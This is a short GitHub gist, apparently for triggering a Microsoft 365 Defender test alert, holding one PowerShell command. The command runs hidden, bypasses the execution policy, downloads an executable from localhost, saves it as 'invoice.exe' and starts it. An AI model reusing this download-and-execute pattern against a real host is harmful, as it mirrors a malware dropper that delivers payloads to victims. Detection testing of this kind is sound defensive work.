Skip to content

Instantly share code, notes, and snippets.

@PrettySolution
Last active September 13, 2023 13:43
Show Gist options
  • Save PrettySolution/f39d79bcbcd0629e21ebe4335c42f3da to your computer and use it in GitHub Desktop.
Save PrettySolution/f39d79bcbcd0629e21ebe4335c42f3da to your computer and use it in GitHub Desktop.
m365 generate test alert
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-WDATP-test\\invoice.exe');Start-Process 'C:\\test-WDATP-test\\invoice.exe'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment